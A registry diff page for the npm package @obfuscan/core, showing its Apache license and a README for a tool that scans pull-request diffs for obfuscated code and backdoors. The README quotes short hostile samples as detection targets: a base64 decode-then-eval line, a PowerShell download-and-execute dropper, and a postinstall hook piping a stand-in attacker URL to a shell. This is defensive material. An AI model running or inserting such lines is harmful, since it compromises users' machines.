@obfuscan/core 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +201 -0
- package/README.md +224 -0
- package/dist/allowlist.d.ts +25 -0
- package/dist/allowlist.d.ts.map +1 -0
- package/dist/allowlist.js +138 -0
- package/dist/allowlist.js.map +1 -0
- package/dist/detectors/bidi-control.d.ts +14 -0
- package/dist/detectors/bidi-control.d.ts.map +1 -0
- package/dist/detectors/bidi-control.js +67 -0
- package/dist/detectors/bidi-control.js.map +1 -0
- package/dist/detectors/cargo-build-rs-network.d.ts +12 -0
- package/dist/detectors/cargo-build-rs-network.d.ts.map +1 -0
- package/dist/detectors/cargo-build-rs-network.js +54 -0
- package/dist/detectors/cargo-build-rs-network.js.map +1 -0
- package/dist/detectors/decode-then-exec.d.ts +20 -0
- package/dist/detectors/decode-then-exec.d.ts.map +1 -0
- package/dist/detectors/decode-then-exec.js +189 -0
- package/dist/detectors/decode-then-exec.js.map +1 -0
- package/dist/detectors/deserializer-untrusted.d.ts +15 -0
- package/dist/detectors/deserializer-untrusted.d.ts.map +1 -0
- package/dist/detectors/deserializer-untrusted.js +99 -0
- package/dist/detectors/deserializer-untrusted.js.map +1 -0
- package/dist/detectors/dockerfile-curl-pipe-shell.d.ts +10 -0
- package/dist/detectors/dockerfile-curl-pipe-shell.d.ts.map +1 -0
- package/dist/detectors/dockerfile-curl-pipe-shell.js +42 -0
- package/dist/detectors/dockerfile-curl-pipe-shell.js.map +1 -0
- package/dist/detectors/dynamic-exec-non-literal.d.ts +17 -0
- package/dist/detectors/dynamic-exec-non-literal.d.ts.map +1 -0
- package/dist/detectors/dynamic-exec-non-literal.js +104 -0
- package/dist/detectors/dynamic-exec-non-literal.js.map +1 -0
- package/dist/detectors/encoded-array-fingerprint.d.ts +11 -0
- package/dist/detectors/encoded-array-fingerprint.d.ts.map +1 -0
- package/dist/detectors/encoded-array-fingerprint.js +60 -0
- package/dist/detectors/encoded-array-fingerprint.js.map +1 -0
- package/dist/detectors/gha-curl-pipe-shell.d.ts +11 -0
- package/dist/detectors/gha-curl-pipe-shell.d.ts.map +1 -0
- package/dist/detectors/gha-curl-pipe-shell.js +42 -0
- package/dist/detectors/gha-curl-pipe-shell.js.map +1 -0
- package/dist/detectors/high-entropy-literal.d.ts +19 -0
- package/dist/detectors/high-entropy-literal.d.ts.map +1 -0
- package/dist/detectors/high-entropy-literal.js +90 -0
- package/dist/detectors/high-entropy-literal.js.map +1 -0
- package/dist/detectors/homoglyph-identifier.d.ts +16 -0
- package/dist/detectors/homoglyph-identifier.d.ts.map +1 -0
- package/dist/detectors/homoglyph-identifier.js +76 -0
- package/dist/detectors/homoglyph-identifier.js.map +1 -0
- package/dist/detectors/index.d.ts +31 -0
- package/dist/detectors/index.d.ts.map +1 -0
- package/dist/detectors/index.js +60 -0
- package/dist/detectors/index.js.map +1 -0
- package/dist/detectors/library-load-non-literal.d.ts +10 -0
- package/dist/detectors/library-load-non-literal.d.ts.map +1 -0
- package/dist/detectors/library-load-non-literal.js +72 -0
- package/dist/detectors/library-load-non-literal.js.map +1 -0
- package/dist/detectors/long-line.d.ts +12 -0
- package/dist/detectors/long-line.d.ts.map +1 -0
- package/dist/detectors/long-line.js +53 -0
- package/dist/detectors/long-line.js.map +1 -0
- package/dist/detectors/manifest-install-script.d.ts +54 -0
- package/dist/detectors/manifest-install-script.d.ts.map +1 -0
- package/dist/detectors/manifest-install-script.js +272 -0
- package/dist/detectors/manifest-install-script.js.map +1 -0
- package/dist/detectors/network-then-exec.d.ts +17 -0
- package/dist/detectors/network-then-exec.d.ts.map +1 -0
- package/dist/detectors/network-then-exec.js +140 -0
- package/dist/detectors/network-then-exec.js.map +1 -0
- package/dist/detectors/perl-makefile-side-effect.d.ts +17 -0
- package/dist/detectors/perl-makefile-side-effect.d.ts.map +1 -0
- package/dist/detectors/perl-makefile-side-effect.js +72 -0
- package/dist/detectors/perl-makefile-side-effect.js.map +1 -0
- package/dist/detectors/python-setup-side-effect.d.ts +10 -0
- package/dist/detectors/python-setup-side-effect.d.ts.map +1 -0
- package/dist/detectors/python-setup-side-effect.js +87 -0
- package/dist/detectors/python-setup-side-effect.js.map +1 -0
- package/dist/detectors/shell-untrusted-input.d.ts +10 -0
- package/dist/detectors/shell-untrusted-input.d.ts.map +1 -0
- package/dist/detectors/shell-untrusted-input.js +76 -0
- package/dist/detectors/shell-untrusted-input.js.map +1 -0
- package/dist/detectors/string-array-decoder.d.ts +15 -0
- package/dist/detectors/string-array-decoder.d.ts.map +1 -0
- package/dist/detectors/string-array-decoder.js +70 -0
- package/dist/detectors/string-array-decoder.js.map +1 -0
- package/dist/detectors/suspicious-io-cluster.d.ts +11 -0
- package/dist/detectors/suspicious-io-cluster.d.ts.map +1 -0
- package/dist/detectors/suspicious-io-cluster.js +86 -0
- package/dist/detectors/suspicious-io-cluster.js.map +1 -0
- package/dist/diff.d.ts +23 -0
- package/dist/diff.d.ts.map +1 -0
- package/dist/diff.js +144 -0
- package/dist/diff.js.map +1 -0
- package/dist/directives.d.ts +33 -0
- package/dist/directives.d.ts.map +1 -0
- package/dist/directives.js +60 -0
- package/dist/directives.js.map +1 -0
- package/dist/errors.d.ts +19 -0
- package/dist/errors.d.ts.map +1 -0
- package/dist/errors.js +16 -0
- package/dist/errors.js.map +1 -0
- package/dist/grammar/query.d.ts +44 -0
- package/dist/grammar/query.d.ts.map +1 -0
- package/dist/grammar/query.js +24 -0
- package/dist/grammar/query.js.map +1 -0
- package/dist/index.d.ts +101 -0
- package/dist/index.d.ts.map +1 -0
- package/dist/index.js +106 -0
- package/dist/index.js.map +1 -0
- package/dist/internal/patterns.d.ts +48 -0
- package/dist/internal/patterns.d.ts.map +1 -0
- package/dist/internal/patterns.js +95 -0
- package/dist/internal/patterns.js.map +1 -0
- package/dist/internal/text.d.ts +14 -0
- package/dist/internal/text.d.ts.map +1 -0
- package/dist/internal/text.js +20 -0
- package/dist/internal/text.js.map +1 -0
- package/dist/rules.d.ts +25 -0
- package/dist/rules.d.ts.map +1 -0
- package/dist/rules.js +195 -0
- package/dist/rules.js.map +1 -0
- package/dist/scan.d.ts +26 -0
- package/dist/scan.d.ts.map +1 -0
- package/dist/scan.js +287 -0
- package/dist/scan.js.map +1 -0
- package/dist/types.d.ts +215 -0
- package/dist/types.d.ts.map +1 -0
- package/dist/types.js +8 -0
- package/dist/types.js.map +1 -0
- package/dist/version.d.ts +10 -0
- package/dist/version.d.ts.map +1 -0
- package/dist/version.js +50 -0
- package/dist/version.js.map +1 -0
- package/package.json +74 -0
package/LICENSE
ADDED
|
@@ -0,0 +1,201 @@
|
|
|
1
|
+
Apache License
|
|
2
|
+
Version 2.0, January 2004
|
|
3
|
+
http://www.apache.org/licenses/
|
|
4
|
+
|
|
5
|
+
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
|
6
|
+
|
|
7
|
+
1. Definitions.
|
|
8
|
+
|
|
9
|
+
"License" shall mean the terms and conditions for use, reproduction,
|
|
10
|
+
and distribution as defined by Sections 1 through 9 of this document.
|
|
11
|
+
|
|
12
|
+
"Licensor" shall mean the copyright owner or entity authorized by
|
|
13
|
+
the copyright owner that is granting the License.
|
|
14
|
+
|
|
15
|
+
"Legal Entity" shall mean the union of the acting entity and all
|
|
16
|
+
other entities that control, are controlled by, or are under common
|
|
17
|
+
control with that entity. For the purposes of this definition,
|
|
18
|
+
"control" means (i) the power, direct or indirect, to cause the
|
|
19
|
+
direction or management of such entity, whether by contract or
|
|
20
|
+
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
|
21
|
+
outstanding shares, or (iii) beneficial ownership of such entity.
|
|
22
|
+
|
|
23
|
+
"You" (or "Your") shall mean an individual or Legal Entity
|
|
24
|
+
exercising permissions granted by this License.
|
|
25
|
+
|
|
26
|
+
"Source" form shall mean the preferred form for making modifications,
|
|
27
|
+
including but not limited to software source code, documentation
|
|
28
|
+
source, and configuration files.
|
|
29
|
+
|
|
30
|
+
"Object" form shall mean any form resulting from mechanical
|
|
31
|
+
transformation or translation of a Source form, including but
|
|
32
|
+
not limited to compiled object code, generated documentation,
|
|
33
|
+
and conversions to other media types.
|
|
34
|
+
|
|
35
|
+
"Work" shall mean the work of authorship, whether in Source or
|
|
36
|
+
Object form, made available under the License, as indicated by a
|
|
37
|
+
copyright notice that is included in or attached to the work
|
|
38
|
+
(an example is provided in the Appendix below).
|
|
39
|
+
|
|
40
|
+
"Derivative Works" shall mean any work, whether in Source or Object
|
|
41
|
+
form, that is based on (or derived from) the Work and for which the
|
|
42
|
+
editorial revisions, annotations, elaborations, or other modifications
|
|
43
|
+
represent, as a whole, an original work of authorship. For the purposes
|
|
44
|
+
of this License, Derivative Works shall not include works that remain
|
|
45
|
+
separable from, or merely link (or bind by name) to the interfaces of,
|
|
46
|
+
the Work and Derivative Works thereof.
|
|
47
|
+
|
|
48
|
+
"Contribution" shall mean any work of authorship, including
|
|
49
|
+
the original version of the Work and any modifications or additions
|
|
50
|
+
to that Work or Derivative Works thereof, that is intentionally
|
|
51
|
+
submitted to Licensor for inclusion in the Work by the copyright owner
|
|
52
|
+
or by an individual or Legal Entity authorized to submit on behalf of
|
|
53
|
+
the copyright owner. For the purposes of this definition, "submitted"
|
|
54
|
+
means any form of electronic, verbal, or written communication sent
|
|
55
|
+
to the Licensor or its representatives, including but not limited to
|
|
56
|
+
communication on electronic mailing lists, source code control systems,
|
|
57
|
+
and issue tracking systems that are managed by, or on behalf of, the
|
|
58
|
+
Licensor for the purpose of discussing and improving the Work, but
|
|
59
|
+
excluding communication that is conspicuously marked or otherwise
|
|
60
|
+
designated in writing by the copyright owner as "Not a Contribution."
|
|
61
|
+
|
|
62
|
+
"Contributor" shall mean Licensor and any individual or Legal Entity
|
|
63
|
+
on behalf of whom a Contribution has been received by Licensor and
|
|
64
|
+
subsequently incorporated within the Work.
|
|
65
|
+
|
|
66
|
+
2. Grant of Copyright License. Subject to the terms and conditions of
|
|
67
|
+
this License, each Contributor hereby grants to You a perpetual,
|
|
68
|
+
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
69
|
+
copyright license to reproduce, prepare Derivative Works of,
|
|
70
|
+
publicly display, publicly perform, sublicense, and distribute the
|
|
71
|
+
Work and such Derivative Works in Source or Object form.
|
|
72
|
+
|
|
73
|
+
3. Grant of Patent License. Subject to the terms and conditions of
|
|
74
|
+
this License, each Contributor hereby grants to You a perpetual,
|
|
75
|
+
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
76
|
+
(except as stated in this section) patent license to make, have made,
|
|
77
|
+
use, offer to sell, sell, import, and otherwise transfer the Work,
|
|
78
|
+
where such license applies only to those patent claims licensable
|
|
79
|
+
by such Contributor that are necessarily infringed by their
|
|
80
|
+
Contribution(s) alone or by combination of their Contribution(s)
|
|
81
|
+
with the Work to which such Contribution(s) was submitted. If You
|
|
82
|
+
institute patent litigation against any entity (including a
|
|
83
|
+
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
|
84
|
+
or a Contribution incorporated within the Work constitutes direct
|
|
85
|
+
or contributory patent infringement, then any patent licenses
|
|
86
|
+
granted to You under this License for that Work shall terminate
|
|
87
|
+
as of the date such litigation is filed.
|
|
88
|
+
|
|
89
|
+
4. Redistribution. You may reproduce and distribute copies of the
|
|
90
|
+
Work or Derivative Works thereof in any medium, with or without
|
|
91
|
+
modifications, and in Source or Object form, provided that You
|
|
92
|
+
meet the following conditions:
|
|
93
|
+
|
|
94
|
+
(a) You must give any other recipients of the Work or
|
|
95
|
+
Derivative Works a copy of this License; and
|
|
96
|
+
|
|
97
|
+
(b) You must cause any modified files to carry prominent notices
|
|
98
|
+
stating that You changed the files; and
|
|
99
|
+
|
|
100
|
+
(c) You must retain, in the Source form of any Derivative Works
|
|
101
|
+
that You distribute, all copyright, patent, trademark, and
|
|
102
|
+
attribution notices from the Source form of the Work,
|
|
103
|
+
excluding those notices that do not pertain to any part of
|
|
104
|
+
the Derivative Works; and
|
|
105
|
+
|
|
106
|
+
(d) If the Work includes a "NOTICE" text file as part of its
|
|
107
|
+
distribution, then any Derivative Works that You distribute must
|
|
108
|
+
include a readable copy of the attribution notices contained
|
|
109
|
+
within such NOTICE file, excluding those notices that do not
|
|
110
|
+
pertain to any part of the Derivative Works, in at least one
|
|
111
|
+
of the following places: within a NOTICE text file distributed
|
|
112
|
+
as part of the Derivative Works; within the Source form or
|
|
113
|
+
documentation, if provided along with the Derivative Works; or,
|
|
114
|
+
within a display generated by the Derivative Works, if and
|
|
115
|
+
wherever such third-party notices normally appear. The contents
|
|
116
|
+
of the NOTICE file are for informational purposes only and
|
|
117
|
+
do not modify the License. You may add Your own attribution
|
|
118
|
+
notices within Derivative Works that You distribute, alongside
|
|
119
|
+
or as an addendum to the NOTICE text from the Work, provided
|
|
120
|
+
that such additional attribution notices cannot be construed
|
|
121
|
+
as modifying the License.
|
|
122
|
+
|
|
123
|
+
You may add Your own copyright statement to Your modifications and
|
|
124
|
+
may provide additional or different license terms and conditions
|
|
125
|
+
for use, reproduction, or distribution of Your modifications, or
|
|
126
|
+
for any such Derivative Works as a whole, provided Your use,
|
|
127
|
+
reproduction, and distribution of the Work otherwise complies with
|
|
128
|
+
the conditions stated in this License.
|
|
129
|
+
|
|
130
|
+
5. Submission of Contributions. Unless You explicitly state otherwise,
|
|
131
|
+
any Contribution intentionally submitted for inclusion in the Work
|
|
132
|
+
by You to the Licensor shall be under the terms and conditions of
|
|
133
|
+
this License, without any additional terms or conditions.
|
|
134
|
+
Notwithstanding the above, nothing herein shall supersede or modify
|
|
135
|
+
the terms of any separate license agreement you may have executed
|
|
136
|
+
with Licensor regarding such Contributions.
|
|
137
|
+
|
|
138
|
+
6. Trademarks. This License does not grant permission to use the trade
|
|
139
|
+
names, trademarks, service marks, or product names of the Licensor,
|
|
140
|
+
except as required for reasonable and customary use in describing the
|
|
141
|
+
origin of the Work and reproducing the content of the NOTICE file.
|
|
142
|
+
|
|
143
|
+
7. Disclaimer of Warranty. Unless required by applicable law or
|
|
144
|
+
agreed to in writing, Licensor provides the Work (and each
|
|
145
|
+
Contributor provides its Contributions) on an "AS IS" BASIS,
|
|
146
|
+
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
|
147
|
+
implied, including, without limitation, any warranties or conditions
|
|
148
|
+
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
|
149
|
+
PARTICULAR PURPOSE. You are solely responsible for determining the
|
|
150
|
+
appropriateness of using or redistributing the Work and assume any
|
|
151
|
+
risks associated with Your exercise of permissions under this License.
|
|
152
|
+
|
|
153
|
+
8. Limitation of Liability. In no event and under no legal theory,
|
|
154
|
+
whether in tort (including negligence), contract, or otherwise,
|
|
155
|
+
unless required by applicable law (such as deliberate and grossly
|
|
156
|
+
negligent acts) or agreed to in writing, shall any Contributor be
|
|
157
|
+
liable to You for damages, including any direct, indirect, special,
|
|
158
|
+
incidental, or consequential damages of any character arising as a
|
|
159
|
+
result of this License or out of the use or inability to use the
|
|
160
|
+
Work (including but not limited to damages for loss of goodwill,
|
|
161
|
+
work stoppage, computer failure or malfunction, or any and all
|
|
162
|
+
other commercial damages or losses), even if such Contributor
|
|
163
|
+
has been advised of the possibility of such damages.
|
|
164
|
+
|
|
165
|
+
9. Accepting Warranty or Additional Liability. While redistributing
|
|
166
|
+
the Work or Derivative Works thereof, You may choose to offer,
|
|
167
|
+
and charge a fee for, acceptance of support, warranty, indemnity,
|
|
168
|
+
or other liability obligations and/or rights consistent with this
|
|
169
|
+
License. However, in accepting such obligations, You may act only
|
|
170
|
+
on Your own behalf and on Your sole responsibility, not on behalf
|
|
171
|
+
of any other Contributor, and only if You agree to indemnify,
|
|
172
|
+
defend, and hold each Contributor harmless for any liability
|
|
173
|
+
incurred by, or claims asserted against, such Contributor by reason
|
|
174
|
+
of your accepting any such warranty or additional liability.
|
|
175
|
+
|
|
176
|
+
END OF TERMS AND CONDITIONS
|
|
177
|
+
|
|
178
|
+
APPENDIX: How to apply the Apache License to your work.
|
|
179
|
+
|
|
180
|
+
To apply the Apache License to your work, attach the following
|
|
181
|
+
boilerplate notice, with the fields enclosed by brackets "[]"
|
|
182
|
+
replaced with your own identifying information. (Don't include
|
|
183
|
+
the brackets!) The text should be enclosed in the appropriate
|
|
184
|
+
comment syntax for the file format. We also recommend that a
|
|
185
|
+
file or class name and description of purpose be included on the
|
|
186
|
+
same "printed page" as the copyright notice for easier
|
|
187
|
+
identification within third-party archives.
|
|
188
|
+
|
|
189
|
+
Copyright [yyyy] [name of copyright owner]
|
|
190
|
+
|
|
191
|
+
Licensed under the Apache License, Version 2.0 (the "License");
|
|
192
|
+
you may not use this file except in compliance with the License.
|
|
193
|
+
You may obtain a copy of the License at
|
|
194
|
+
|
|
195
|
+
http://www.apache.org/licenses/LICENSE-2.0
|
|
196
|
+
|
|
197
|
+
Unless required by applicable law or agreed to in writing, software
|
|
198
|
+
distributed under the License is distributed on an "AS IS" BASIS,
|
|
199
|
+
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
200
|
+
See the License for the specific language governing permissions and
|
|
201
|
+
limitations under the License.
|
package/README.md
ADDED
|
@@ -0,0 +1,224 @@
|
|
|
1
|
+
# obfuscan
|
|
2
|
+
|
|
3
|
+
Detect obfuscated code and likely backdoors in pull-request diffs. Multi-language. Embeddable. Diff-aware. Pure TypeScript.
|
|
4
|
+
|
|
5
|
+
[](https://www.npmjs.com/package/@obfuscan/core)
|
|
6
|
+
[](./LICENSE)
|
|
7
|
+
[](https://github.com/ByteBardOrg/obfuscan/actions)
|
|
8
|
+
|
|
9
|
+
## What it does
|
|
10
|
+
|
|
11
|
+
obfuscan reads a unified diff (or an explicit file list) and returns findings that flag the two patterns nearly every supply-chain attack relies on:
|
|
12
|
+
|
|
13
|
+
1. **Obfuscation** — code deliberately hard for a human to read: high-entropy string blobs, encoded payload arrays, bidi/homoglyph identifiers, machine-generated identifier names.
|
|
14
|
+
2. **Dynamic / install-time execution** — code with the means to run attacker-controlled bytes: `eval`, `Function`, `Invoke-Expression`, `pickle.loads`, `Reflection.Assembly.Load`, `postinstall` hooks, `curl … | sh`, etc.
|
|
15
|
+
|
|
16
|
+
When the two combine — a decoder feeding a sink — that's the highest-precision malware shape across every language we've tested. obfuscan flags it.
|
|
17
|
+
|
|
18
|
+
```
|
|
19
|
+
$ obfuscan scan diff.patch
|
|
20
|
+
src/loader.ts:42:0 BLOCK [obf.decode-then-exec.typescript]
|
|
21
|
+
Decoded data is being executed via a dynamic sink.
|
|
22
|
+
|
|
23
|
+
> eval(Buffer.from(_0x4f3a[1], 'base64').toString())
|
|
24
|
+
|
|
25
|
+
src/loader.ts:11:0 WARN [obf.encoded-array-fingerprint]
|
|
26
|
+
Found 40 encoded-looking string literals (100% of literals).
|
|
27
|
+
|
|
28
|
+
package.json:23:5 BLOCK [obf.manifest-install-script]
|
|
29
|
+
postinstall hook fetches a URL and pipes the result to a shell.
|
|
30
|
+
|
|
31
|
+
3 findings · 2 block · 1 warn
|
|
32
|
+
```
|
|
33
|
+
|
|
34
|
+
## Why
|
|
35
|
+
|
|
36
|
+
Existing tools each cover a slice:
|
|
37
|
+
|
|
38
|
+
- **Semgrep** — generic AST patterns, but no entropy/data-flow and not focused on obfuscation.
|
|
39
|
+
- **Bandit / njsscan** — single-language.
|
|
40
|
+
- **Apiiro PRevent** — Python runtime, GitHub-Action-shaped, not a library.
|
|
41
|
+
- **Datadog GuardDog** — scans published packages, not PRs.
|
|
42
|
+
- **Socket.dev / Snyk** — closed source SaaS.
|
|
43
|
+
|
|
44
|
+
**The gap obfuscan fills**: a TypeScript-native, embeddable, multi-language, diff-aware detector. Drop it into any Node tool — a Git client, a Husky hook, a VS Code extension, a custom GitHub Action, a CI script — and get findings on the lines that actually changed.
|
|
45
|
+
|
|
46
|
+
## Install
|
|
47
|
+
|
|
48
|
+
```bash
|
|
49
|
+
npm install @obfuscan/core @obfuscan/rules
|
|
50
|
+
# or
|
|
51
|
+
pnpm add @obfuscan/core @obfuscan/rules
|
|
52
|
+
```
|
|
53
|
+
|
|
54
|
+
The `core` package ships the engine; `rules` ships language configs and tree-sitter query assets, not parser grammars. Hosts that want parser-backed custom detectors provide their own grammars via `RuleSet.loadGrammar()` / `GrammarHandle.parse()`. We use SemVer for the engine and CalVer (`2026.04.0`) for the rules.
|
|
55
|
+
|
|
56
|
+
## Using `@obfuscan/rules`
|
|
57
|
+
|
|
58
|
+
`@obfuscan/core` loads language configs from `@obfuscan/rules` by default, so normal usage is just installing both packages.
|
|
59
|
+
|
|
60
|
+
```ts
|
|
61
|
+
import { scan } from "@obfuscan/core";
|
|
62
|
+
import * as fs from "node:fs/promises";
|
|
63
|
+
|
|
64
|
+
const result = await scan(
|
|
65
|
+
{ diff: await fs.readFile("pr.diff", "utf8") },
|
|
66
|
+
{ fileResolver: (p) => fs.readFile(p, "utf8") },
|
|
67
|
+
);
|
|
68
|
+
```
|
|
69
|
+
|
|
70
|
+
You can also load a custom rules directory:
|
|
71
|
+
|
|
72
|
+
```ts
|
|
73
|
+
import { loadRuleSet, scan } from "@obfuscan/core";
|
|
74
|
+
import * as fs from "node:fs/promises";
|
|
75
|
+
|
|
76
|
+
const rules = await loadRuleSet({
|
|
77
|
+
languageDir: "./my-rules/languages",
|
|
78
|
+
queryDir: "./my-rules/queries",
|
|
79
|
+
});
|
|
80
|
+
|
|
81
|
+
const result = await scan(
|
|
82
|
+
{ paths: ["src/file.ts"] },
|
|
83
|
+
{
|
|
84
|
+
fileResolver: (p) => fs.readFile(p, "utf8"),
|
|
85
|
+
rules,
|
|
86
|
+
},
|
|
87
|
+
);
|
|
88
|
+
```
|
|
89
|
+
|
|
90
|
+
Notes:
|
|
91
|
+
|
|
92
|
+
- `@obfuscan/core` uses SemVer.
|
|
93
|
+
- `@obfuscan/rules` uses CalVer (`YYYY.MM.PATCH`) and can update independently.
|
|
94
|
+
- Rule config schema: [`packages/rules/languages/_schema.json`](./packages/rules/languages/_schema.json)
|
|
95
|
+
|
|
96
|
+
## Quick start
|
|
97
|
+
|
|
98
|
+
|
|
99
|
+
### Library
|
|
100
|
+
|
|
101
|
+
```ts
|
|
102
|
+
import { scan } from "@obfuscan/core";
|
|
103
|
+
import * as fs from "node:fs/promises";
|
|
104
|
+
|
|
105
|
+
const result = await scan(
|
|
106
|
+
{ diff: await fs.readFile("pr.diff", "utf8") },
|
|
107
|
+
{ fileResolver: (path) => fs.readFile(path, "utf8") },
|
|
108
|
+
);
|
|
109
|
+
|
|
110
|
+
for (const f of result.findings) {
|
|
111
|
+
if (f.severity === "block") {
|
|
112
|
+
console.error(`${f.file}:${f.line} BLOCK [${f.ruleId}] ${f.reason}`);
|
|
113
|
+
}
|
|
114
|
+
}
|
|
115
|
+
```
|
|
116
|
+
## What it catches (with real examples)
|
|
117
|
+
|
|
118
|
+
- **Decode-then-execute**, the canonical malware shape:
|
|
119
|
+
```js
|
|
120
|
+
eval(Buffer.from(_0x4f3a[1], 'base64').toString())
|
|
121
|
+
```
|
|
122
|
+
- **String-array obfuscator output** (verbatim from the 2026 axios compromise):
|
|
123
|
+
```js
|
|
124
|
+
var _0x4f3a = ['dGVzdA==', 'aGVsbG8=', /* …128 more… */];
|
|
125
|
+
```
|
|
126
|
+
- **PowerShell network-then-exec droppers**:
|
|
127
|
+
```powershell
|
|
128
|
+
IEX (New-Object Net.WebClient).DownloadString($url)
|
|
129
|
+
```
|
|
130
|
+
- **`curl | sh` in install hooks**:
|
|
131
|
+
```json
|
|
132
|
+
"postinstall": "curl https://attacker.tld/x | sh"
|
|
133
|
+
```
|
|
134
|
+
- **Trojan Source bidi attacks** (any language with Unicode source).
|
|
135
|
+
- **Pickle / Marshal / unserialize on untrusted input.**
|
|
136
|
+
- **Setup.py top-level imperative code** that fetches and executes at install time.
|
|
137
|
+
- **build.rs** with suspicious network behavior.
|
|
138
|
+
- **Homoglyph identifiers** (Latin/Cyrillic mixing).
|
|
139
|
+
|
|
140
|
+
The detector list is in [`docs/detectors.md`](./docs/detectors.md). See [`docs/coverage.md`](./docs/coverage.md) for per-language coverage.
|
|
141
|
+
|
|
142
|
+
## Language coverage
|
|
143
|
+
|
|
144
|
+
Universal detectors run on any readable text file.
|
|
145
|
+
|
|
146
|
+
Language-aware detectors are currently implemented for:
|
|
147
|
+
|
|
148
|
+
- Tier 1: JavaScript, TypeScript, Python, PowerShell, Bash, PHP, Ruby
|
|
149
|
+
- Tier 2: Go, Rust, C#, Java, Kotlin, Lua, Perl, VBScript
|
|
150
|
+
|
|
151
|
+
Path-based manifest detectors currently target `package.json`, `setup.py`, `build.rs`, GitHub Actions workflows, and `Dockerfile`.
|
|
152
|
+
|
|
153
|
+
See [`docs/coverage.md`](./docs/coverage.md) for the up-to-date matrix by rule and language.
|
|
154
|
+
|
|
155
|
+
## How it works
|
|
156
|
+
|
|
157
|
+
obfuscan runs a layered pipeline over each file selected by `diff` or `paths` input:
|
|
158
|
+
|
|
159
|
+
```
|
|
160
|
+
input → file context → detectors → suppress/filter → sorted findings
|
|
161
|
+
```
|
|
162
|
+
|
|
163
|
+
- **Layer A — universal, raw text.** Shannon entropy on long literals, line length, bidi/homoglyph control chars, encoded-string-array regex. Fires on every language.
|
|
164
|
+
- **Layer B — language-aware heuristics.** Generic detectors routed by detected language id: dynamic execution with non-literals, decode-then-exec, network-then-exec, deserializer usage, suspicious I/O clusters, and related patterns.
|
|
165
|
+
- **Layer C — manifest/path rules.** Specialized detectors for `package.json`, `setup.py`, `build.rs`, `.github/workflows/*`, and `Dockerfile`.
|
|
166
|
+
|
|
167
|
+
Each detector emits findings with a 0–10 score and `info` / `warn` / `block` severity. Findings are then filtered (diff ranges, directives, allowlists), sorted, and returned in `ScanResult`.
|
|
168
|
+
|
|
169
|
+
Architecture details: [`docs/architecture.md`](./docs/architecture.md).
|
|
170
|
+
|
|
171
|
+
## Suppression
|
|
172
|
+
|
|
173
|
+
False positives are inevitable in security tooling. obfuscan ships first-class suppression:
|
|
174
|
+
|
|
175
|
+
- **Path allowlist** for vendored / minified / generated code.
|
|
176
|
+
- **Per-finding suppression** keyed by `(ruleId, sha256(snippet))`, persisted by hosts in `.obfuscan/allowlist.json` via `loadAllowlist()`, `saveAllowlist()`, and `hashSnippet()`.
|
|
177
|
+
- **In-source comment suppressions**: `// obfuscan-disable-next-line obf.decode-then-exec`.
|
|
178
|
+
|
|
179
|
+
## Honest limits
|
|
180
|
+
|
|
181
|
+
- Static analysis cannot defeat static analysis. xz is the existence proof. The goal is to raise attacker cost and surface unsophisticated attempts — not to prove malice.
|
|
182
|
+
- Binary blobs need a separate scanner (YARA, file-magic). obfuscan flags the metadata signal but doesn't analyze byte content.
|
|
183
|
+
- Compiled-language and build-system backdoors still need manual review and additional build-focused rules.
|
|
184
|
+
- There is no built-in LLM verifier in `@obfuscan/core` today.
|
|
185
|
+
|
|
186
|
+
## Comparison
|
|
187
|
+
|
|
188
|
+
| | obfuscan | Semgrep | PRevent | GuardDog | Bandit |
|
|
189
|
+
|---|---|---|---|---|---|
|
|
190
|
+
| Embeddable as TS/JS library | ✓ | — | — | — | — |
|
|
191
|
+
| Diff/PR-aware | ✓ | partial | ✓ | — | — |
|
|
192
|
+
| Multi-language | ✓ (15+ deep, 60+ universal) | ✓ | ✓ (15) | ✓ (3) | — |
|
|
193
|
+
| Entropy / data-flow | ✓ | — | ✓ | ✓ | partial |
|
|
194
|
+
| Manifest detectors | ✓ | partial | ✓ | ✓ | — |
|
|
195
|
+
| Pure offline, no SaaS | ✓ | ✓ | ✓ | ✓ | ✓ |
|
|
196
|
+
| Open source | ✓ Apache-2.0 | LGPL/commercial | Apache-2.0 | Apache-2.0 | Apache-2.0 |
|
|
197
|
+
|
|
198
|
+
## Project status
|
|
199
|
+
|
|
200
|
+
Pre-1.0. The detector framework, scoring, suppression, and tier-1/tier-2 language rules are stable. Breaking API changes are batched into minor releases until 1.0; rule changes ship as patch CalVer releases of `@obfuscan/rules` and never require an engine update.
|
|
201
|
+
|
|
202
|
+
## Roadmap
|
|
203
|
+
|
|
204
|
+
- [x] Tier-1 language rules (JS/TS, Python, PowerShell, Bash, PHP, Ruby)
|
|
205
|
+
- [x] Manifest detectors for npm, PyPI, GitHub Actions, Dockerfile
|
|
206
|
+
- [x] Tier-2 language rules (Go, Rust, C#, Java, Kotlin, Lua, Perl, VBScript)
|
|
207
|
+
- [ ] `@obfuscan/cli` 1.0 with SARIF output
|
|
208
|
+
- [ ] `@obfuscan/github-action`
|
|
209
|
+
- [ ] `@obfuscan/llm-verify` optional Layer-D package
|
|
210
|
+
- [ ] Reproducible benchmark suite against [Datadog malicious-software-packages-dataset](https://github.com/DataDog/malicious-software-packages-dataset)
|
|
211
|
+
|
|
212
|
+
## Contributing
|
|
213
|
+
|
|
214
|
+
Adding rules is the highest-leverage contribution. Most rule contributions are 3-line PRs to a JSON file. See [CONTRIBUTING.md](./CONTRIBUTING.md).
|
|
215
|
+
|
|
216
|
+
Bug reports, false-positive reports, and bypasses welcome — see [SECURITY.md](./SECURITY.md) for how to report bypasses privately.
|
|
217
|
+
|
|
218
|
+
## Acknowledgements
|
|
219
|
+
|
|
220
|
+
obfuscan's detection model is informed by published work from Apiiro (PRevent), Datadog (GuardDog, BewAIre), Phylum, Veracode, and the academic literature on entropy-based malware detection. The public taxonomy of PowerShell obfuscation comes from Daniel Bohannon's Invoke-Obfuscation. Where a specific paper or post directly informed a detector, it is cited inline in the source.
|
|
221
|
+
|
|
222
|
+
